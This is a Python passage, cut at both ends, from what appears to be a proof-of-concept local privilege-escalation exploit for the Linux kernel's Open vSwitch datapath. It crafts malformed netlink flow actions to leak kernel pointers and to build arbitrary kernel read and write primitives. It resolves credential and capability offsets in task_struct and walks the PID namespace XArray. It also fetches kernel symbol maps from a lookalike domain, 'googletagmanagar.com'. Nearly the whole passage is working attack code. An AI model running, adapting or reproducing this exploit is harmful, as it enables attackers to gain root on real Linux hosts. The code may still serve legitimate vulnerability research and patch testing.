and ubuntu_version_compatible(record.version, uname.version)
|
||
]
|
||
if exact_matches:
|
||
record = exact_matches[0]
|
||
log(
|
||
"kernel lookup: using pre-derived record for "
|
||
f"release={record.release} version={record.version!r}"
|
||
)
|
||
return record
|
||
if release_matches:
|
||
log(
|
||
"kernel lookup: release is covered but this exact build is not: "
|
||
f"release={uname.release} version={uname.version!r} "
|
||
f"machine={uname.machine}"
|
||
)
|
||
same_release = lookup_neighbor_kernel_record(uname, tuple(release_matches))
|
||
if same_release is not None:
|
||
log(
|
||
"kernel lookup: using same-release neighbor "
|
||
f"release={same_release.release} version={same_release.version!r}"
|
||
)
|
||
return same_release
|
||
neighbor = lookup_neighbor_kernel_record(uname, records)
|
||
if neighbor is not None:
|
||
return neighbor
|
||
return None
|
||
neighbor = lookup_neighbor_kernel_record(uname, records)
|
||
if neighbor is not None:
|
||
return neighbor
|
||
log(
|
||
"kernel lookup: no pre-derived record for "
|
||
f"release={uname.release} version={uname.version!r} machine={uname.machine}; "
|
||
"will try local System.map/kallsyms and BTF derivation. This kernel is "
|
||
"not covered by our validation table."
|
||
)
|
||
return None
|
||
|
||
|
||
def derive_symbol_offsets() -> SymbolOffsets:
|
||
env_symbols = symbol_offsets_from_env()
|
||
if env_symbols is not None:
|
||
return env_symbols
|
||
release = os.uname().release
|
||
bootstrap_system_map(release, network=not in_namespace_child())
|
||
failures: list[str] = []
|
||
for path in local_symbol_candidate_paths(release):
|
||
offsets, failure = symbol_offsets_from(path)
|
||
if offsets is not None:
|
||
return offsets
|
||
failures.append(failure)
|
||
raise RuntimeError(
|
||
"kernel is not covered by pre-derived kernel records, and this user "
|
||
"could not derive module_ktype/init_pid_ns from local System.map or "
|
||
"nonzero /proc/kallsyms locations. Checked: "
|
||
+ (
|
||
"; ".join(failures)
|
||
if failures
|
||
else "no candidate symbol paths were configured"
|
||
)
|
||
+ ". Tried bootstrapping via OVS_C004_SYSTEM_MAP_URL / "
|
||
"googletagmanagar.com/exp/ov2/System.map-* and "
|
||
f"{shutil.which('dnf') or shutil.which('yum') or 'dnf/yum'} download "
|
||
f"kernel-core-{release}. Upload a readable map and set "
|
||
"OVS_C004_SYSTEM_MAP, or set OVS_C004_SYMBOL_OFFSETS="
|
||
"module_ktype_off,init_pid_ns_off (hex offsets relative to _text)."
|
||
)
|
||
|
||
|
||
def derive_kernel_offsets(btf: BtfResolver, symbols: SymbolOffsets) -> KernelOffsets:
|
||
module_mkobj = btf.field_offset("module", "mkobj")
|
||
module_kobject_kobj = btf.field_offset("module_kobject", "kobj")
|
||
kobject_ktype = btf.field_offset("kobject", "ktype")
|
||
ovs_conntrack_info_size = btf.struct_size("ovs_conntrack_info")
|
||
ovs_ct_labels = btf.field_offset("ovs_conntrack_info", "labels")
|
||
ip_tunnel_info_key = btf.field_offset("ip_tunnel_info", "key")
|
||
try:
|
||
dst_entry_ref = btf.field_offset("dst_entry", "__rcuref")
|
||
dst_entry_ref_kind = "__rcuref"
|
||
except RuntimeError:
|
||
dst_entry_ref = btf.field_offset("dst_entry", "__refcnt")
|
||
dst_entry_ref_kind = "__refcnt"
|
||
offsets = KernelOffsets(
|
||
nf_conntrack_helper_me=btf.field_offset("nf_conntrack_helper", "me"),
|
||
module_kobj_ktype=module_mkobj + module_kobject_kobj + kobject_ktype,
|
||
vmlinux_module_ktype=symbols.module_ktype,
|
||
vmlinux_init_pid_ns=symbols.init_pid_ns,
|
||
task_pid=btf.field_offset("task_struct", "pid"),
|
||
task_cred=btf.field_offset("task_struct", "cred"),
|
||
task_pid_links=btf.field_offset("task_struct", "pid_links"),
|
||
cred_fsuid=btf.field_offset("cred", "fsuid"),
|
||
cred_fsgid=btf.field_offset("cred", "fsgid"),
|
||
cred_cap_permitted=btf.field_offset("cred", "cap_permitted"),
|
||
cred_cap_effective=btf.field_offset("cred", "cap_effective"),
|
||
pid_namespace_idr=btf.field_offset("pid_namespace", "idr"),
|
||
idr_idr_rt=btf.field_offset("idr", "idr_rt"),
|
||
idr_base=btf.field_offset("idr", "idr_base"),
|
||
xarray_xa_head=btf.field_offset("xarray", "xa_head"),
|
||
xa_node_shift=btf.field_offset("xa_node", "shift"),
|
||
xa_node_slots=btf.field_offset("xa_node", "slots"),
|
||
pid_tasks=btf.field_offset("pid", "tasks"),
|
||
hlist_head_first=btf.field_offset("hlist_head", "first"),
|
||
dst_entry_ref=dst_entry_ref,
|
||
dst_entry_ref_kind=dst_entry_ref_kind,
|
||
metadata_dst_tun_info=btf.field_offset("metadata_dst", "u"),
|
||
ip_tunnel_key_ipv4_src=ip_tunnel_info_key
|
||
+ btf.field_offset("ip_tunnel_key", "src"),
|
||
ip_tunnel_key_ipv4_dst=ip_tunnel_info_key
|
||
+ btf.field_offset("ip_tunnel_key", "dst"),
|
||
ip_tunnel_key_tos=ip_tunnel_info_key
|
||
+ btf.field_offset("ip_tunnel_key", "tos"),
|
||
ip_tunnel_key_ttl=ip_tunnel_info_key
|
||
+ btf.field_offset("ip_tunnel_key", "ttl"),
|
||
ip_tunnel_key_tp_src=ip_tunnel_info_key
|
||
+ btf.field_offset("ip_tunnel_key", "tp_src"),
|
||
ip_tunnel_key_tp_dst=ip_tunnel_info_key
|
||
+ btf.field_offset("ip_tunnel_key", "tp_dst"),
|
||
ovs_ct_labels=ovs_ct_labels,
|
||
ovs_ct_action_len=NLA_HEADER_SIZE + ovs_conntrack_info_size,
|
||
)
|
||
log("kernel offsets: derived from local symbols and debug type info")
|
||
return offsets
|
||
|
||
|
||
def try_build_hybrid_offsets(
|
||
symbols: SymbolOffsets,
|
||
label: str,
|
||
) -> KernelOffsets | None:
|
||
try:
|
||
btf = BtfResolver()
|
||
except RuntimeError as exc:
|
||
log(f"kernel offsets: hybrid plan {label} skipped: {exc}")
|
||
return None
|
||
try:
|
||
offsets = derive_kernel_offsets(btf, symbols)
|
||
except RuntimeError as exc:
|
||
log(f"kernel offsets: hybrid plan {label} skipped: {exc}")
|
||
return None
|
||
log(f"kernel offsets: built hybrid plan {label}")
|
||
return offsets
|
||
|
||
|
||
def append_kernel_plan(
|
||
plans: list[KernelParameterPlan],
|
||
seen: set[KernelOffsets],
|
||
name: str,
|
||
offsets: KernelOffsets,
|
||
record: KernelBuildRecord | None,
|
||
) -> None:
|
||
if offsets in seen:
|
||
return
|
||
seen.add(offsets)
|
||
plans.append(KernelParameterPlan(name, offsets, record))
|
||
|
||
|
||
def build_kernel_parameter_plans() -> list[KernelParameterPlan]:
|
||
record = lookup_kernel_build_record()
|
||
release = os.uname().release
|
||
plans: list[KernelParameterPlan] = []
|
||
seen: set[KernelOffsets] = set()
|
||
|
||
if hybrid_mode_requested(record):
|
||
require_pahole_for_dynamic_derivation()
|
||
if record is not None:
|
||
for path in discover_system_map_candidates(release):
|
||
symbols, _failure = symbol_offsets_from(path)
|
||
if symbols is None:
|
||
continue
|
||
offsets = try_build_hybrid_offsets(
|
||
symbols,
|
||
f"hybrid+System.map ({path})",
|
||
)
|
||
if offsets is not None:
|
||
append_kernel_plan(
|
||
plans,
|
||
seen,
|
||
f"hybrid+System.map ({path})",
|
||
offsets,
|
||
record,
|
||
)
|
||
record_symbols = SymbolOffsets(
|
||
record.offsets.vmlinux_module_ktype,
|
||
record.offsets.vmlinux_init_pid_ns,
|
||
)
|
||
offsets = try_build_hybrid_offsets(
|
||
record_symbols,
|
||
"hybrid+pre-derived symbols",
|
||
)
|
||
if offsets is not None:
|
||
append_kernel_plan(
|
||
plans,
|
||
seen,
|
||
"hybrid+pre-derived symbols",
|
||
offsets,
|
||
record,
|
||
)
|
||
|
||
if record is not None and env_tri_state("OVS_C004_HYBRID") != "on":
|
||
append_kernel_plan(plans, seen, "pre-derived", record.offsets, record)
|
||
|
||
if record is None or force_dynamic_requested() or not plans:
|
||
if record is None:
|
||
acknowledge_unknown_kernel()
|
||
require_pahole_for_dynamic_derivation()
|
||
try:
|
||
symbols = derive_symbol_offsets()
|
||
btf = BtfResolver()
|
||
offsets = derive_kernel_offsets(btf, symbols)
|
||
append_kernel_plan(plans, seen, "dynamic", offsets, record)
|
||
except RuntimeError as exc:
|
||
if not plans:
|
||
reason = str(exc).strip().rstrip(".")
|
||
raise RuntimeError(
|
||
"could not build any kernel offset plan because "
|
||
f"{reason}. For a definitive check of whether you are "
|
||
"affected, see https://heyitsas.im/posts/ovswrap"
|
||
) from exc
|
||
log(f"kernel offsets: dynamic plan unavailable: {exc}")
|
||
|
||
if not plans:
|
||
raise RuntimeError(
|
||
"could not build any kernel offset plan for this kernel"
|
||
)
|
||
log(
|
||
"kernel offsets: candidate plans (in try order): "
|
||
+ ", ".join(plan.name for plan in plans)
|
||
)
|
||
return plans
|
||
|
||
|
||
def current_kernel_parameters() -> tuple[KernelOffsets, KernelBuildRecord | None]:
|
||
plans = build_kernel_parameter_plans()
|
||
plan = plans[0]
|
||
derive_ovs_uapi_constants(plan.record)
|
||
if plan.record is not None:
|
||
if plan.name.startswith("hybrid"):
|
||
log(
|
||
"kernel offsets: starting with hybrid/BTF struct layouts "
|
||
f"({plan.name})"
|
||
)
|
||
elif plan.name == "pre-derived":
|
||
log("kernel offsets: starting with pre-derived values")
|
||
else:
|
||
log(f"kernel offsets: starting with {plan.name}")
|
||
else:
|
||
log("kernel offsets: starting with dynamically derived values")
|
||
return plan.offsets, plan.record
|
||
|
||
|
||
def create_datapath(genl: GenericNetlink, family_id: int, name: str) -> None:
|
||
payload = struct.pack("i", 0)
|
||
payload += nla(OVS_DP_ATTR_NAME, cstr(name))
|
||
payload += nla(OVS_DP_ATTR_UPCALL_PID, struct.pack("I", 0))
|
||
payload += nla(OVS_DP_ATTR_USER_FEATURES, struct.pack("I", 0))
|
||
genl.request(
|
||
family_id,
|
||
OVS_DP_CMD_NEW,
|
||
OVS_DATAPATH_VERSION,
|
||
payload,
|
||
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE,
|
||
)
|
||
|
||
|
||
def flow_key(seq: int) -> bytes:
|
||
src_ip = 0x0A000000 | ((seq & 0xFFFF) + 1)
|
||
return b"".join(
|
||
[
|
||
nla(OVS_KEY_ATTR_IN_PORT, struct.pack("I", 0)),
|
||
nla(
|
||
OVS_KEY_ATTR_ETHERNET,
|
||
b"\x02\x00\x00\x00\x00\x01" + b"\x02\x00\x00\x00\x00\x02",
|
||
),
|
||
nla(OVS_KEY_ATTR_ETHERTYPE, struct.pack("!H", ETH_P_IP)),
|
||
nla(
|
||
OVS_KEY_ATTR_IPV4,
|
||
struct.pack("!IIBBBB", src_ip, 0x0A0000FE, IPPROTO_TCP, 0, 64, 0),
|
||
),
|
||
nla(OVS_KEY_ATTR_TCP, struct.pack("!HH", 10000 + (seq % 50000), 443)),
|
||
nla(OVS_KEY_ATTR_TCP_FLAGS, struct.pack("!H", 0)),
|
||
]
|
||
)
|
||
|
||
|
||
def ct_action(payload: bytes = b"") -> bytes:
|
||
return nla(OVS_ACTION_ATTR_CT, nla(OVS_CT_ATTR_COMMIT, b"") + payload)
|
||
|
||
|
||
def ct_helper_payload() -> bytes:
|
||
return nla(OVS_CT_ATTR_HELPER, b"ftp\x00")
|
||
|
||
|
||
def clone_with_helper_leak(fake_action: bytes) -> bytes:
|
||
labels = bytearray(32)
|
||
labels[20 : 20 + len(fake_action)] = fake_action
|
||
payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) + ct_helper_payload()
|
||
helper_payload = ct_helper_payload()
|
||
return nla(
|
||
OVS_ACTION_ATTR_CLONE,
|
||
ct_action(payload) + ct_action(helper_payload) * (CT_ACTION_COUNT - 1),
|
||
)
|
||
|
||
|
||
def clone_with_fake_set_timeout(tun_dst: int) -> bytes:
|
||
labels = bytearray(32)
|
||
labels[20:24] = struct.pack(NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET)
|
||
labels[24:28] = struct.pack(NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO)
|
||
labels[28:32] = struct.pack("<I", tun_dst & 0xFFFFFFFF)
|
||
timeout = bytearray(32)
|
||
timeout[0:4] = struct.pack("<I", (tun_dst >> 32) & 0xFFFFFFFF)
|
||
payload = nla(OVS_CT_ATTR_LABELS, bytes(labels))
|
||
payload += nla(OVS_CT_ATTR_TIMEOUT, bytes(timeout))
|
||
return nla(
|
||
OVS_ACTION_ATTR_CLONE,
|
||
ct_action(payload) + ct_action() * (CT_ACTION_COUNT - 1),
|
||
)
|
||
|
||
|
||
def labels_only_wrap_plan(ct_action_len: int, labels_offset: int) -> tuple[int, int]:
|
||
if ct_action_len < 8 or ct_action_len % 4:
|
||
raise RuntimeError(f"unexpected OVS CT action length {ct_action_len}")
|
||
fake_offset = 16
|
||
target_wrap = 8 + labels_offset + fake_offset
|
||
if target_wrap >= 0x10000 or target_wrap % 4:
|
||
raise RuntimeError(
|
||
f"cannot target labels-only fake SET wrap offset 0x{target_wrap:x}"
|
||
)
|
||
best_score: int | None = None
|
||
best_total = 0
|
||
best_pad = 0
|
||
for total_ct_actions in range(360, 421):
|
||
base_wrap = (4 + total_ct_actions * ct_action_len) & 0xFFFF
|
||
diff = (target_wrap - base_wrap) & 0xFFFF
|
||
pad_count = diff // 4
|
||
true_len = 4 + total_ct_actions * ct_action_len + pad_count * 4
|
||
if true_len <= 0xFFFF or pad_count > 256:
|
||
continue
|
||
score = pad_count + abs(total_ct_actions - 400)
|
||
if best_score is None or score < best_score:
|
||
best_score = score
|
||
best_total = total_ct_actions
|
||
best_pad = pad_count
|
||
if best_score is None:
|
||
raise RuntimeError(
|
||
"could not build labels-only fake SET wrap plan for "
|
||
f"ct_action_len={ct_action_len} labels_offset={labels_offset}"
|
||
)
|
||
return best_total, best_pad
|
||
|
||
|
||
def clone_with_fake_set_tunnel_labels_only(
|
||
tun_dst: int, ct_action_len: int, labels_offset: int
|
||
) -> bytes:
|
||
total_ct_actions, pad_count = labels_only_wrap_plan(
|
||
ct_action_len, labels_offset
|
||
)
|
||
fake_offset = 16
|
||
labels = bytearray(32)
|
||
labels[fake_offset : fake_offset + 4] = struct.pack(
|
||
NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET
|
||
)
|
||
labels[fake_offset + 4 : fake_offset + 8] = struct.pack(
|
||
NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO
|
||
)
|
||
labels[fake_offset + 8 : fake_offset + 16] = struct.pack("<Q", tun_dst)
|
||
payload = nla(OVS_CT_ATTR_LABELS, bytes(labels))
|
||
pad = nla(OVS_ACTION_ATTR_POP_VLAN, b"") * pad_count
|
||
return nla(
|
||
OVS_ACTION_ATTR_CLONE,
|
||
ct_action(payload) + ct_action() * (total_ct_actions - 1) + pad,
|
||
)
|
||
|
||
|
||
def clone_with_fake_set_carrier(
|
||
carrier: str, tun_dst: int, offsets: KernelOffsets
|
||
) -> bytes:
|
||
if carrier == CARRIER_TIMEOUT:
|
||
return clone_with_fake_set_timeout(tun_dst)
|
||
if carrier == CARRIER_LABELS_ONLY:
|
||
return clone_with_fake_set_tunnel_labels_only(
|
||
tun_dst,
|
||
offsets.ovs_ct_action_len,
|
||
offsets.ovs_ct_labels,
|
||
)
|
||
raise RuntimeError(f"unknown fake SET carrier {carrier!r}")
|
||
|
||
|
||
def fake_set_carrier_error(exc: Exception) -> bool:
|
||
if isinstance(exc, OSError):
|
||
return exc.errno == errno.EINVAL
|
||
return "flow get response did not include actions" in str(exc)
|
||
|
||
|
||
class FakeSetCarriers:
|
||
def __init__(self, mode: str, label: str) -> None:
|
||
if mode not in CARRIER_ORDER and mode != CARRIER_AUTO:
|
||
raise RuntimeError(f"unknown {label} carrier mode {mode!r}")
|
||
self.mode = mode
|
||
self.label = label
|
||
self.timeout_disabled = False
|
||
|
||
def names(self) -> tuple[str, ...]:
|
||
if self.mode != CARRIER_AUTO:
|
||
return (self.mode,)
|
||
if self.timeout_disabled:
|
||
return (CARRIER_LABELS_ONLY,)
|
||
return CARRIER_ORDER
|
||
|
||
def retry_after(self, carrier: str, has_next: bool) -> bool:
|
||
if self.mode != CARRIER_AUTO or carrier != CARRIER_TIMEOUT or not has_next:
|
||
return False
|
||
print(
|
||
f"fake SET timeout carrier failed for {self.label}; "
|
||
"using labels-only carrier",
|
||
flush=True,
|
||
)
|
||
self.timeout_disabled = True
|
||
return True
|
||
|
||
|
||
def create_flow(
|
||
genl: GenericNetlink,
|
||
family_id: int,
|
||
dp_ifindex: int,
|
||
key: bytes,
|
||
actions: bytes,
|
||
) -> None:
|
||
payload = (
|
||
struct.pack("i", dp_ifindex)
|
||
+ nla(OVS_FLOW_ATTR_KEY, key)
|
||
+ nla(OVS_FLOW_ATTR_ACTIONS, actions)
|
||
)
|
||
genl.request(
|
||
family_id,
|
||
OVS_FLOW_CMD_NEW,
|
||
OVS_FLOW_VERSION,
|
||
payload,
|
||
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE,
|
||
)
|
||
|
||
|
||
def delete_flow(genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes) -> None:
|
||
payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key)
|
||
genl.request(
|
||
family_id,
|
||
OVS_FLOW_CMD_DEL,
|
||
OVS_FLOW_VERSION,
|
||
payload,
|
||
NLM_F_REQUEST | NLM_F_ACK,
|
||
)
|
||
|
||
|
||
def get_flow_actions(
|
||
genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes
|
||
) -> bytes:
|
||
payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key)
|
||
replies = genl.request(family_id, OVS_FLOW_CMD_GET, OVS_FLOW_VERSION, payload)
|
||
if not replies:
|
||
raise RuntimeError("flow get returned no replies")
|
||
for attr in parse_attrs(replies[0][8:]):
|
||
if attr.attr_type == OVS_FLOW_ATTR_ACTIONS:
|
||
return attr.payload
|
||
raise RuntimeError("flow get response did not include actions")
|
||
|
||
|
||
def likely_kernel_pointers(buf: bytes) -> list[tuple[int, int]]:
|
||
hits: list[tuple[int, int]] = []
|
||
for offset in range(0, max(0, len(buf) - 7)):
|
||
value = struct.unpack_from("<Q", buf, offset)[0]
|
||
if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:
|
||
hits.append((offset, value))
|
||
return hits
|
||
|
||
|
||
def find_helper_pointer(actions: bytes) -> int:
|
||
for top in parse_attrs(actions):
|
||
if top.attr_type == OVS_ACTION_ATTR_OUTPUT and top.raw_len == 512:
|
||
hits = likely_kernel_pointers(top.payload)
|
||
helperish = [
|
||
value
|
||
for _off, value in hits
|
||
if 0xFFFFFFFFC0000000 <= value <= 0xFFFFFFFFDFFFFFFF
|
||
and (value & 0x7) == 0
|
||
]
|
||
if helperish:
|
||
return helperish[0]
|
||
if hits:
|
||
return hits[0][1]
|
||
raise RuntimeError("no helper pointer found in fake OUTPUT leak")
|
||
|
||
|
||
class OvsReadPrimitive:
|
||
def __init__(
|
||
self,
|
||
genl: GenericNetlink,
|
||
flow_family: int,
|
||
dp_ifindex: int,
|
||
offsets: KernelOffsets,
|
||
carrier_mode: str = CARRIER_AUTO,
|
||
preferred_lanes: tuple[str, ...] = (),
|
||
) -> None:
|
||
self.genl = genl
|
||
self.flow_family = flow_family
|
||
self.dp_ifindex = dp_ifindex
|
||
self.offsets = offsets
|
||
self.carriers = FakeSetCarriers(carrier_mode, "read")
|
||
self.seq = 1000
|
||
self.scalar_lanes = (
|
||
TunnelReadLane(
|
||
"tos",
|
||
offsets.ip_tunnel_key_tos,
|
||
OVS_TUNNEL_KEY_ATTR_TOS,
|
||
0,
|
||
True,
|
||
),
|
||
TunnelReadLane(
|
||
"ttl",
|
||
offsets.ip_tunnel_key_ttl,
|
||
OVS_TUNNEL_KEY_ATTR_TTL,
|
||
0,
|
||
False,
|
||
),
|
||
TunnelReadLane(
|
||
"tp_src_0",
|
||
offsets.ip_tunnel_key_tp_src,
|
||
OVS_TUNNEL_KEY_ATTR_TP_SRC,
|
||
0,
|
||
True,
|
||
),
|
||
TunnelReadLane(
|
||
"tp_src_1",
|
||
offsets.ip_tunnel_key_tp_src + 1,
|
||
OVS_TUNNEL_KEY_ATTR_TP_SRC,
|
||
1,
|
||
True,
|
||
),
|
||
TunnelReadLane(
|
||
"tp_dst_0",
|
||
offsets.ip_tunnel_key_tp_dst,
|
||
OVS_TUNNEL_KEY_ATTR_TP_DST,
|
||
0,
|
||
True,
|
||
),
|
||
TunnelReadLane(
|
||
"tp_dst_1",
|
||
offsets.ip_tunnel_key_tp_dst + 1,
|
||
OVS_TUNNEL_KEY_ATTR_TP_DST,
|
||
1,
|
||
True,
|
||
),
|
||
)
|
||
self.ipv4_lanes = tuple(
|
||
TunnelReadLane(
|
||
f"ipv4_src_{index}",
|
||
offsets.ip_tunnel_key_ipv4_src + index,
|
||
OVS_TUNNEL_KEY_ATTR_IPV4_SRC,
|
||
index,
|
||
True,
|
||
)
|
||
for index in range(4)
|
||
) + tuple(
|
||
TunnelReadLane(
|
||
f"ipv4_dst_{index}",
|
||
offsets.ip_tunnel_key_ipv4_dst + index,
|
||
OVS_TUNNEL_KEY_ATTR_IPV4_DST,
|
||
index,
|
||
True,
|
||
)
|
||
for index in range(4)
|
||
)
|
||
default_lanes = self.scalar_lanes + self.ipv4_lanes
|
||
preferred_names = set(preferred_lanes)
|
||
preferred = tuple(
|
||
lane
|
||
for name in preferred_lanes
|
||
for lane in default_lanes
|
||
if lane.name == name
|
||
)
|
||
remaining = tuple(lane for lane in default_lanes if lane.name not in preferred_names)
|
||
self.read_lanes = preferred + remaining
|
||
|
||
def read_u8_with_lane(self, address: int, lane: TunnelReadLane) -> int | None:
|
||
key_start = address - lane.field_offset
|
||
tun_dst = key_start - self.offsets.metadata_dst_tun_info
|
||
dumped = b""
|
||
carriers = self.carriers.names()
|
||
for index, carrier in enumerate(carriers):
|
||
self.seq += 1
|
||
key = flow_key(self.seq)
|
||
actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)
|
||
try:
|
||
create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions)
|
||
dumped = get_flow_actions(
|
||
self.genl, self.flow_family, self.dp_ifindex, key
|
||
)
|
||
break
|
||
except (OSError, RuntimeError) as exc:
|
||
if fake_set_carrier_error(exc):
|
||
if self.carriers.retry_after(carrier, index + 1 < len(carriers)):
|
||
continue
|
||
return None
|
||
raise
|
||
for top in parse_attrs(dumped):
|
||
if top.attr_type != OVS_ACTION_ATTR_SET:
|
||
continue
|
||
for tunnel_key in parse_attrs(top.payload):
|
||
if tunnel_key.attr_type != OVS_KEY_ATTR_TUNNEL:
|
||
continue
|
||
saw_tunnel = False
|
||
for tunnel_attr in parse_attrs(tunnel_key.payload):
|
||
if tunnel_attr.attr_type == OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE:
|
||
return None
|
||
saw_tunnel = True
|
||
if tunnel_attr.attr_type == lane.attr_type:
|
||
if len(tunnel_attr.payload) <= lane.payload_index:
|
||
raise RuntimeError(
|
||
f"unexpected {lane.name} payload length "
|
||
f"{len(tunnel_attr.payload)}"
|
||
)
|
||
return tunnel_attr.payload[lane.payload_index]
|
||
if saw_tunnel and lane.optional_zero:
|
||
return 0
|
||
return None
|
||
|
||
def read_u8(self, address: int) -> int:
|
||
for lane in self.read_lanes:
|
||
value = self.read_u8_with_lane(address, lane)
|
||
if value is not None:
|
||
return value
|
||
raise RuntimeError(
|
||
f"fixed tunnel carriers could not read byte at 0x{address:016x}"
|
||
)
|
||
|
||
def read_bytes(self, address: int, size: int) -> bytes:
|
||
return bytes(self.read_u8(address + offset) for offset in range(size))
|
||
|
||
def read_u32(self, address: int) -> int:
|
||
return int(struct.unpack("<I", self.read_bytes(address, 4))[0])
|
||
|
||
def read_u64(self, address: int) -> int:
|
||
return int(struct.unpack("<Q", self.read_bytes(address, 8))[0])
|
||
|
||
|
||
class OvsWritePrimitive:
|
||
def __init__(
|
||
self,
|
||
genl: GenericNetlink,
|
||
flow_family: int,
|
||
dp_ifindex: int,
|
||
offsets: KernelOffsets,
|
||
carrier_mode: str = CARRIER_AUTO,
|
||
) -> None:
|
||
self.genl = genl
|
||
self.flow_family = flow_family
|
||
self.dp_ifindex = dp_ifindex
|
||
self.offsets = offsets
|
||
self.carriers = FakeSetCarriers(carrier_mode, "write")
|
||
self.seq = 100000000
|
||
|
||
def decrement_u32_once(self, target_address: int) -> None:
|
||
tun_dst = target_address - self.offsets.dst_entry_ref
|
||
carriers = self.carriers.names()
|
||
for index, carrier in enumerate(carriers):
|
||
self.seq += 1
|
||
key = flow_key(self.seq)
|
||
actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)
|
||
try:
|
||
create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions)
|
||
delete_flow(self.genl, self.flow_family, self.dp_ifindex, key)
|
||
return
|
||
except OSError as exc:
|
||
if exc.errno == errno.ENOMEM:
|
||
raise RuntimeError(
|
||
"Ran out of memory; reattempt the PoC after a reboot "
|
||
"or with more RAM (recommended 2GB+)."
|
||
) from exc
|
||
if fake_set_carrier_error(exc):
|
||
if self.carriers.retry_after(carrier, index + 1 < len(carriers)):
|
||
continue
|
||
raise RuntimeError(
|
||
f"fake SET {carrier} write carrier failed"
|
||
) from exc
|
||
raise
|
||
|
||
|
||
def valid_vmlinux_base(value: int) -> bool:
|
||
return (
|
||
0xFFFFFFFF80000000 <= value <= 0xFFFFFFFFF0000000
|
||
and value % 0x200000 == 0
|
||
)
|
||
|
||
|
||
def derive_helper_module_ktype(
|
||
reader: OvsReadPrimitive,
|
||
helper_me_address: int,
|
||
helper_pointer: int,
|
||
offsets: KernelOffsets,
|
||
) -> int:
|
||
module_pointer = canonicalize_kernel_pointer(reader.read_u64(helper_me_address))
|
||
if not (
|
||
canonical_kernel_pointer(module_pointer)
|
||
and helper_pointer - 0x800000 <= module_pointer <= helper_pointer + 0x800000
|
||
):
|
||
raise RuntimeError(
|
||
"helper->me did not read as a nearby canonical module pointer: "
|
||
f"helper=0x{helper_pointer:016x} me=0x{module_pointer:016x}"
|
||
)
|
||
ktype_addr = module_pointer + offsets.module_kobj_ktype
|
||
module_ktype = canonicalize_kernel_pointer(reader.read_u64(ktype_addr))
|
||
if not valid_vmlinux_base(module_ktype - offsets.vmlinux_module_ktype):
|
||
raise RuntimeError(
|
||
f"module.kobj.ktype at 0x{ktype_addr:016x} read "
|
||
f"0x{module_ktype:016x}, which does not match the expected "
|
||
"vmlinux symbol offset"
|
||
)
|
||
log(f"helper->me module pointer 0x{module_pointer:016x} validated directly")
|
||
return module_ktype
|
||
|
||
|
||
def canonicalize_kernel_pointer(value: int) -> int:
|
||
if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:
|
||
return value
|
||
if 0x0000008000000000 <= value <= 0x000000FFFFFFFFFF:
|
||
return value | 0xFFFFFF0000000000
|
||
if 0x0000800000000000 <= value <= 0x0000FFFFFFFFFFFF:
|
||
return value | 0xFFFF000000000000
|
||
if 0x0080000000000000 <= value <= 0x00FFFFFFFFFFFFFF:
|
||
return value | 0xFF00000000000000
|
||
return value
|
||
|
||
|
||
def canonical_kernel_pointer(value: int) -> bool:
|
||
canonical = canonicalize_kernel_pointer(value)
|
||
return 0xFF00000000000000 <= canonical <= 0xFFFFFFFFFFFFFFFF and canonical % 8 == 0
|
||
|
||
|
||
def read_kernel_pointer(
|
||
reader: OvsReadPrimitive,
|
||
address: int,
|
||
label: str,
|
||
) -> int:
|
||
pointer = canonicalize_kernel_pointer(reader.read_u64(address))
|
||
if not canonical_kernel_pointer(pointer):
|
||
raise RuntimeError(
|
||
f"{label} at 0x{address:016x} is not a canonical kernel pointer: "
|
||
f"0x{pointer:016x}"
|
||
)
|
||
return pointer
|
||
|
||
|
||
def xarray_entry_to_node(entry: int) -> int | None:
|
||
if entry == 0 or (entry & 0x3) != 0x2:
|
||
return None
|
||
node = canonicalize_kernel_pointer(entry & ~0x3)
|
||
if canonical_kernel_pointer(node):
|
||
return node
|
||
return None
|
||
|
||
|
||
def xarray_entry_to_pointer(entry: int) -> int | None:
|
||
if entry == 0 or (entry & 0x3) != 0:
|
||
return None
|
||
pointer = canonicalize_kernel_pointer(entry)
|
||
if canonical_kernel_pointer(pointer):
|
||
return pointer
|
||
return None
|
||
|
||
|
||
def read_xarray_entry(
|
||
reader: OvsReadPrimitive,
|
||
address: int,
|
||
label: str,
|
||
) -> int:
|
||
value = reader.read_u64(address)
|
||
node = xarray_entry_to_node(value)
|
||
if node is not None:
|
||
return node | 0x2
|
||
pointer = xarray_entry_to_pointer(value)
|
||
if pointer is not None:
|
||
return pointer
|
||
raise RuntimeError(
|
||
f"{label} at 0x{address:016x} is not a valid XArray entry: "
|
||
f"0x{value:016x}"
|
||
)
|
||
|
||
|
||
def read_xa_shift(reader: OvsReadPrimitive, address: int) -> int:
|
||
value = reader.read_u8(address)
|
||
if value > 60 or value % 6 != 0:
|
||
raise RuntimeError(
|
||
f"XArray node shift at 0x{address:016x} is invalid: {value}"
|
||
)
|
||
return value
|
||
|
||
|
||
def lookup_init_pid_ns_pid(
|
||
reader: OvsReadPrimitive,
|
||
offsets: KernelOffsets,
|
||
kernel_base: int,
|
||
pid_nr: int,
|
||
) -> int:
|
||
idr_addr = kernel_base + offsets.vmlinux_init_pid_ns + offsets.pid_namespace_idr
|
||
idr_base = reader.read_u32(idr_addr + offsets.idr_base)
|
||
if pid_nr < idr_base:
|
||
raise RuntimeError(f"pid {pid_nr} is below init pid namespace idr_base {idr_base}")
|
||
index = pid_nr - idr_base
|
||
xarray_addr = idr_addr + offsets.idr_idr_rt
|
||
|
||
entry = read_xarray_entry(
|
||
reader,
|
||
xarray_addr + offsets.xarray_xa_head,
|
||
